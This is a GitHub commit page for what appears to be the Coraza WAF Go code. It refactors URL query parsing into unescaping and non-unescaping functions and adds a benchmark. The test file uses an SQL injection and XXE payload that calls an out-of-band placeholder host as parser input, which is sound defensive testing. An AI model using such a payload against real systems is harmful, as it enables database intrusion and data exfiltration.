Skip to content

Commit

Permalink
private doParseQuery avoiding public booleans
Browse files Browse the repository at this point in the history
  • Loading branch information
M4tteoP committed Nov 28, 2023
1 parent e8f7862 commit 3c19a8f
Show file tree
Hide file tree
Showing 4 changed files with 27 additions and 13 deletions.
4 changes: 1 addition & 3 deletions internal/bodyprocessors/urlencoded.go
Original file line number Diff line number Diff line change
Expand Up @@ -16,16 +16,14 @@ import (
type urlencodedBodyProcessor struct {
}

const urlUnescape = true

func (*urlencodedBodyProcessor) ProcessRequest(reader io.Reader, v plugintypes.TransactionVariables, options plugintypes.BodyProcessorOptions) error {
buf := new(strings.Builder)
if _, err := io.Copy(buf, reader); err != nil {
return err
}

b := buf.String()
values := urlutil.ParseQuery(b, '&', urlUnescape)
values := urlutil.ParseQuery(b, '&')
argsCol := v.ArgsPost()
for k, vs := range values {
argsCol.Set(k, vs)
Expand Down
9 changes: 2 additions & 7 deletions internal/corazawaf/transaction.go
Original file line number Diff line number Diff line change
Expand Up @@ -117,11 +117,6 @@ type Transaction struct {
transformationCache map[transformationKey]*transformationValue
}

const (
urlUnescape = true
noUrlUnescape = false
)

func (tx *Transaction) ID() string {
return tx.id
}
Expand Down Expand Up @@ -327,7 +322,7 @@ func (tx *Transaction) AddRequestHeader(key string, value string) {
case "cookie":
// Cookies use the same syntax as GET params but with semicolon (;) separator
// noUrlUnescape is used to avoid implicitly performing an URL decode on the cookies
values := urlutil.ParseQuery(value, ';', noUrlUnescape)
values := urlutil.ParseQueryWithoutUnescape(value, ';')
for k, vr := range values {
for _, v := range vr {
tx.variables.requestCookies.Add(k, v)
Expand Down Expand Up @@ -639,7 +634,7 @@ func (tx *Transaction) ProcessConnection(client string, cPort int, server string

// ExtractGetArguments transforms an url encoded string to a map and creates ARGS_GET
func (tx *Transaction) ExtractGetArguments(uri string) {
data := urlutil.ParseQuery(uri, '&', urlUnescape)
data := urlutil.ParseQuery(uri, '&')
for k, vs := range data {
for _, v := range vs {
tx.AddGetRequestArgument(k, v)
Expand Down
16 changes: 15 additions & 1 deletion internal/url/url.go
Original file line number Diff line number Diff line change
Expand Up @@ -7,11 +7,25 @@ import (
"strings"
)

const (
urlUnescape = true
noUrlUnescape = false
)

// ParseQuery parses the URL-encoded query string and returns the corresponding map.
// It takes separators as parameter, for example: & or ; or &;
// Setting urlUnescape true performs a non-strict version of net/url.QueryUnescape on keys and values.
// It returns error if the query string is malformed.
func ParseQuery(query string, separator byte, urlUnescape bool) map[string][]string {
func ParseQuery(query string, separator byte) map[string][]string {
return doParseQuery(query, separator, urlUnescape)
}

// Sibling of ParseQuery, but without performing URL unescape of keys and values.
func ParseQueryWithoutUnescape(query string, separator byte) map[string][]string {
return doParseQuery(query, separator, noUrlUnescape)
}

func doParseQuery(query string, separator byte, urlUnescape bool) map[string][]string {
m := make(map[string][]string)
for query != "" {
key := query
Expand Down
11 changes: 9 additions & 2 deletions internal/url/url_test.go
Original file line number Diff line number Diff line change
Expand Up @@ -7,14 +7,21 @@ import (
"testing"
)

var parseQueryInput = `var=EmptyValue'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % awpsd SYSTEM "http://0cddnr5evws01h2bfzn5zd0cm3sxvrjv7oufi4.example'||'foo.bar/">%awpsd;`

func TestUrlPayloads(t *testing.T) {
out := `var=EmptyValue'||(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % awpsd SYSTEM "http://0cddnr5evws01h2bfzn5zd0cm3sxvrjv7oufi4.example'||'foo.bar/">%awpsd;`
q := ParseQuery(out, '&', true)
q := ParseQuery(parseQueryInput, '&')
if len(q["var"]) == 0 {
t.Error("var is empty")
}
}

func BenchmarkParseQuery(b *testing.B) {
for i := 0; i < b.N; i++ {
ParseQuery(parseQueryInput, '&')
}
}

var queryUnescapePayloads = map[string]string{
"sample": "sample",
"s%20ample": "s ample",
Expand Down

0 comments on commit 3c19a8f

Please sign in to comment.